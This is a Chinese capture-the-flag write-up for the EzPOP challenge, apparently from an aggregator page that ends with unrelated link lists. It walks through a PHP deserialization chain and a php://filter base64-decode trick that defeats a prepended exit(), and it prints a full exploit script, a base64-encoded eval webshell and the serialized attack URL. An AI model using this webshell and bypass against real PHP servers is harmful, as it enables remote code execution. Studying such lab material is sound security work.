php://filter绕过死亡exit

2023-11-11

php://filter绕过死亡exit

前言

最近写了一道反序列化的题,其中有一个需要通过php://filter去绕过死亡exit()的小trick,这里通过一道题目来讲解

[EIS 2019]EzPOP

题目源码:

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

刚开始看到这题很懵逼,我们这里反过来讲,首先容易看出,这段代码应该是需要我们写一个shell进去

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

我们溯源一下filename和data的值是从哪里传过来的:

$filename = $this->getCacheKey($name);
$data = $this->serialize($value);

可以看到,这两个值是从函数:public function set($name, $value, $expire = null): bool的形参中传过来的,如何调用set()方法呢?我们需要注意到:A::__destruct()

A::__destruct() -> save() -> set()

set()会被A的变量store调用,所以store就需要传递一个B类的对象。而A调用set()传递了三个参数:

set($this->key, $contents, $this->expire) ,其中key在构造方法中赋值,$contents在哪来呢?

$contents = $this->getForStorage() -> $this->cleanContents($this->cache)

$this->cache变量传入cleanContents()返回,最终通过json串形式返回给$contents

其实getForStorage()cleanContents()没什么用,这里不用管,$expire也没什么用

经过分析,我们知道在A类中,$key传入的是写入文件的名字,$cache可以最终传给$contents,然后当作文件内容写入,$store存储B类对象,$complete、$expire为空值即可

这样我们能够确定B类set()file_put_contents()的两个变量了,但是怎么绕过exit()?不绕过写了shell也没用

这里通过 p神文章 学习了通过php://filter绕过

我们可以使用该php://filter的base64-decoderot13strip_tags等过滤器来绕过,这里我们使用base64-decode:

绕过exit

如果我们在写入文件的前面有exit(),例如:

<?php
$filename=$_POST['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();?>'.$content);

我们这里$filename $content 都是可以控制的,于是我们可以使用php://filter/write=convert.base64-decode/

当我们的$filename为:php://filter/write=convert.base64-decode/resource=shell.php

PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== 是<?php @eval($_POST[1]);?>的base64编码

并且$content: xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

那么就可以进行绕过,shell.php:

^+q<?php @eval($_POST[1]);?>

这是什么原理呢,当我们文件名是php://filter伪协议,并且进行base64解码时,就会将写入文件内容的数据进行一次base64解码,于是原来的<?php exit();?>经过解码后就失效了,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==经过解码就形成了一句话木马。

为什么这里$content前要加一个字母x?因为base64解码是4个一组,<?php exit();?>为15个字符,加上一个刚好凑够16个,不干扰后面的base64解码

知道绕过exit就简单了,我们可以将一句话木马base64编码两遍,传给A::cache变量,然后设置一下B中的options数组:

$this->options = array('serialize'=>'base64_decode','expire'=>'123');

这样B中的data就是,经过了一个base64解码后的值了

$data = $this->serialize($value);

然后在php://filter是base64解码两次,写入了shell.php

我们编写exp:

<?php

class A
{

    protected $store;

    protected $key;

    protected $expire;

    public $complete;


    public $cache;

    public function __construct()
    {
        $this->store = new B();
        $this->key = "php://filter/write=convert.base64-decode/resource=shell.php";
        $this->expire = null;
        $this->complete = "";
        $this->cache = array("YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09");
    }

}

class B
{
    public $options;

    public function __construct()
    {
        $this->options = array('serialize'=>'base64_decode','expire'=>'123');
    }

}

$a = new A();
echo urlencode(serialize($a));

# O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

这里有个点需要注意一下:

image-20230730213721096

在一句话木马一次base64后需要在前面加3个a,让其4个一组

写入:

http://fceb4489-ee1c-434e-a4c4-a760e4026c92.node4.buuoj.cn:81/index.php?src=1&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

image-20230730213844602

参考

谈一谈php://filter的妙用

[EIS 2019]EzPOP

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

php://filter绕过死亡exit 的相关文章

  • 跳过解析 CODE 标签内的 BBCode

    我正在使用以下方法解析 BBCoderegex以便将其替换为 HTML 我现在被困住了 因为 code 标签解析 基本上 当你这样做时 code b this is bb b u code in u i code i code 它不应该取代
  • PHP 类似数组的对象

    我需要能够像这样设置我的对象 obj gt foo bar 然后我需要将它用作数组 如下所示 if obj foo bar more code here 只需添加implements ArrayAccess到您的类并添加所需的方法 公共函数
  • Web 服务器和 servlet 容器之间的区别

    Web 服务器 和 Servlet 容器 有什么区别 一般来说 所有 Web 服务器也是 Servlet Web 容器 反之亦然吗 我一直在使用 Apache Tomcat for JSP 和 Apache for PHP 但无法弄清楚这两
  • 如何在 PHP 中实现前向索引?

    我希望在 PHP 中实现一个简单的前向索引器 是的 我确实知道 PHP 并不是完成这项任务的最佳工具 但无论如何我还是想这样做 其背后的理由很简单 我想要一个 并且是 PHP 版本 让我们做一些基本假设 整个互联网包括 大约五千个 HTML
  • MySQL 启动错误 - 根元素丢失

    我在 Windows Server 2003 R2 上安装 MySQL 大约两个月了 启动时 我们会看到一个错误 显示 高严重性错误 根元素丢失 然后是另一个高严重性错误 显示 在调用 WriteToLog 方法之前必须定义日志文件路径 任
  • 如何将UTF-8编码的汉字从MySql正确导出到SQL

    过去三天我们正在与严重的问题作斗争 我们从PhpmyAdmin导出MySql数据库文件 数据库条目中写入的数据是带有UTF 8字符集的中文 导出后将其转换为拉丁字符集 现在我们正在将此数据库SQl文件导入到其他主机 我们在UTF 8和排序规
  • 根据注册后的时间自动删除Wordpress用户?

    在使用用户访问管理器的基本 WordPress 3 1 设置中 是否可以自动删除 x 天前的用户 我没有找到此功能的插件 人们将如何实施这一举措 我是否能够使用 sql 或 php 查询设置一个 cron 作业 从而每天自动从数据库中删除
  • 使用 Poedit 创建 POT 文件

    我正在拼命地尝试为我的 php 新应用程序创建一个目录 in 1 我创建了一个文件 trans php 其中放置了所有要翻译的值 例如 这是我的文件 2 我打开Poedit 在 路径 中这是我输入的内容 见图 然后我保存文件 php 的相同
  • 在 Woocommerce 的单个产品页面中添加产品注释字段

    我要创建定制订单备注 in 单品用户的详细信息页面 这个可以使用 php 来完成 无需插件 我已附上屏幕截图和网站 URL 以供参考 已尝试使用此代码function php它在结账页面上工作 而不是在产品信息页 任何人都可以帮助我实现这一
  • JWT 中的注销不起作用

    我是 Laravel 的新手 我安装了 JWT 并登录 所以它工作并生成了一个令牌 当我在邮递员中注销时它返回 true 但一次又一次它返回 true 和 auth gt 用户 注销后始终返回用户 这是我的代码 public functio
  • PHP 中的基本 URL

    我有一个两难的困境 它已经困扰我很长一段时间了 我有一个本地测试服务器 其设置如下 127 0 0 1 我的网站在离线模式下如下所示 127 0 0 1 websitename index php 我的网站实时版本如下所示 websiten
  • 会话劫持和 PHP

    让我们只考虑服务器对用户的信任 会话固定 为了避免我使用的固定session regenerate id 仅在身份验证中 login php 会话侧劫持 整个站点的 SSL 加密 我安全吗 阅读 OWASPA3 破坏的身份验证和会话管理 h
  • 关闭语句后的 mysqli + xdebug 断点导致许多警告

    我有一段这样的代码 conn new mysqli host username passwd dbname stmt conn gt prepare SELECT stmt gt bind param stmt gt execute stm
  • 新行分隔符不适用于 group_concat 函数

    我有一根绳子 name lastname name2 lastname2 包含数据库表中的值 我想显示它 喜欢 name lastname name2 lastname2 我使用 group concat 函数 它适用于逗号分隔符 但我需要
  • PHP 中的 __DIR__ 和 dirname(__FILE__) 有什么区别吗?

    对我来说看起来是一样的 但我不确定 因为有很多项目使用dirname FILE 他们的结果是完全一样的 所以 这没有什么区别 例如 以下两行 var dump dirname FILE var dump DIR 两者都会给出相同的输出 st
  • Laravel 上的图像更新并删除旧图像

    尝试在我的更新控制器中实现更新文章似乎可行 但问题是当我只想更新帖子而不上传图像时 旧的总是会被删除 但这是不应该的 这是我的商店功能 public function store Post post post gt update this
  • 如何编辑 Woocommerce 单一产品元模板中显示的内容?

    我正在为客户做一些工作并使用 wordpress woocommerce 他们要求我将类别移动到我已经完成的单个产品页面上的产品名称下 但他们不希望它打印 类别 类别 1 类别 2 等 他们希望删除 类别 并且它实际上只列出类别的名称 而不
  • empty() 在对象的非空属性上返回 TRUE

    我遇到了一个非常奇怪且意想不到的问题 empty 正在返回TRUE由于我不知道的原因 在一处非空的房产上 class MyObject private property public function construct property
  • 如何将十进制转换为二进制并将其位值恢复到数组中?

    例如 result func 14 The result应该 array 1 1 1 0 如何实施func decbin http docs php net decbin会产生一个字符串二进制字符串 echo decbin 14 outpu
  • Drupal 模板/主题资源或建议?

    我有兴趣为我正在开发的 Drupal 网站创建自定义主题 我是 Drupal 的新手 但是我在处理构建主题 CSS PHP HTML 所需的基本概念方面拥有相当多的经验 所以 我的问题是 我从哪里开始 有创建 Drupal 主题的规范指南吗

随机推荐

  • 更换编译器,CODE::BLOCKS 无法DEBUG 至断点

    想在LINUX下使用CODE BLOCKS 编写调试并编译连接ARM运行程序 IDE编译环境默认为 GNU GCC 编译器 修改如下 1 至Settings gt Compiler and debugger settings 将Setect
  • 互联网摸鱼日报(2023-04-19)

    互联网摸鱼日报 2023 04 19 InfoQ 热门话题 传统网关的云原生策略 InfoQ 极客有约 华为发布高阶智能驾驶系统 ADS 2 0 百度发布旗舰产品城市智驾 Apollo City Driving Max 小鹏汽车发布 SEP
  • STM32的FSMC

    FSMC之LCD彩屏学习 彩屏的驱动这里主要用到的是8080并口接口 彩屏这里有区分带有控制器和不带控制器的 80并口有如下一些信号线 CS 片选信号 WR 写数据 RD 读数据 RST 复位 RS 命令 数据标志 0 读写命令 1 读写数
  • linux常用命令整理篇4:关于tomcat的一些命令

    1 查看是否安装了 rpm qa grep tomcat 2 查看tomcat进程ID ps ef grep tomcat 3 杀死tomcat进程 kill 9 进程ID 4 查看tomcat目录 find name tomcat 5 启
  • 云笔记的使用感受和选择

    市场上有很多文章针对云笔记的选择 但经过下载发现可能存在很多虚假广告 求生欲 其实可能是个人使用感受不佳仅表示个人观点 为什么选择云笔记 个人比较喜欢 记录学习笔记和生活中的东西 之前选择有道云笔记 但因为最近打开的时候突然服务器挂了 登录
  • 【HIT-计算机系统】ICS-Lab8 Dynamic Storage Allocator

    第1章 实验基本信息 1 1 实验目的 理解现代计算机系统虚拟存储的基本知识 掌握C语言指针相关的基本操作 深入理解动态存储申请 释放的基本原理和相关系统函数 用C语言实现动态存储分配器 并进行测试分析 培养Linux下的软件系统开发与测试
  • 30分钟部署一个kubernetes集群【1.15】

    作者 李振良 kubeadm是官方社区推出的一个用于快速部署kubernetes集群的工具 这个工具能通过两条指令完成一个kubernetes集群的部署 创建一个 Master 节点 kubeadm init 将一个 Node 节点加入到当
  • 解决window平台下的.ssh/id_rsa bad permission问题

    参考链接 https www cnblogs com clblacksmith p 11677135 html
  • 解决问题:List集合add元素,添加多个对象出现重复的问题

    首先我们在new 一个对象的时候 对象的id是唯一确定的 将对象add入list中时 放入list中的其实是对象的引用 而每次循环只是简单的set 对象的属性 set新的属性值 而add进list中的对象还是同一个对象id 也就是同一个对象
  • 渗透必备工具-BurpSuite

    目录 介绍 爆破 解码 BurpSuite burpsuite基本可以说是渗透的必备工具 用起来也很简单 方便 通常使用它可以进行一些截包分析 修改包数据 暴力破解 扫描等很多功能 用得最多的应该是开代理截包分析数据和爆破 解码 加密 bu
  • Ubuntu 22.04 LTS root登录、修改当前用户名和主机名

    前言 Ubuntu 22 04 默认不开启root用户 配置操作 1 开启 root 以普通用户登录系统 创建root用户的密码 opt opt sudo passwd root SSH 放行 opt opt sudo sed i s Pe
  • jeecgboot 上传文件

    jeecgboot框架中文件上传接口 jeecg boot sys common upload 支持本地上传 配置云上传等多种方式上传文件 local为本地存储 还需要配置jeecg path upload minio为使用MinIO线上存
  • tcp/ip协议详解

    1 TCP IP协议族是一个四层协议系统 自低而上分别是数据链路层 网络层 传输层 应用层 1 数据链路层 实现了网卡接口的网络驱动程序 以处理数据在物理媒介上的传输 ARP协议 将目标机器的IP地址转换为其物理地址 数据链路层使用物理地址
  • Oracle_SQL_序列与groupby同时用

    暂做记录 大小 19 6 KB 查看图片附件
  • Re48:读论文 kNN-LMs Generalization through Memorization: Nearest Neighbor Language Models

    诸神缄默不语 个人CSDN博文目录 论文名称 Generalization through Memorization Nearest Neighbor Language Models 模型简称 kNN LMs 本文是2020年ICLR论文
  • Linux系统的组成

  • 过滤器(Filter)与拦截器(Interceptor )区别

    过滤器 Filter Servlet中的过滤器Filter是实现了javax servlet Filter接口的服务器端程序 主要的用途是设置字符集 控制权限 控制转向 做一些业务逻辑判断等 其工作原理是 只要你在web xml文件配置好要
  • uni-calendar日历组件日期范围默认选中及优化存在日期范围后点击第一下、第二下选中为下一日期范围

    1 日期范围默认选中 该组件未提供默认选择日期范围 需对组件进行修改 步骤如下 1 在 uni calendar 文件下找到 uni calendar vue 文件 props 中增加 defaultRange type Array def
  • Vue2.0中el-table的循环写法

    文章目录 一般写法 偷懒 写法 在有开发任务的一周 过得是相当快 这一周的开发学到不少东西 首先回忆一下在代码中使用到的table循环 一般写法 现在学会了 偷懒 之前写的代码就跟搬运工一样 表格中的每一列都会去写一行代码
  • php://filter绕过死亡exit

    文章目录 php filter绕过死亡exit 前言 EIS 2019 EzPOP 绕过exit 参考 php filter绕过死亡exit 前言 最近写了一道反序列化的题 其中有一个需要通过php filter去绕过死亡exit 的小tr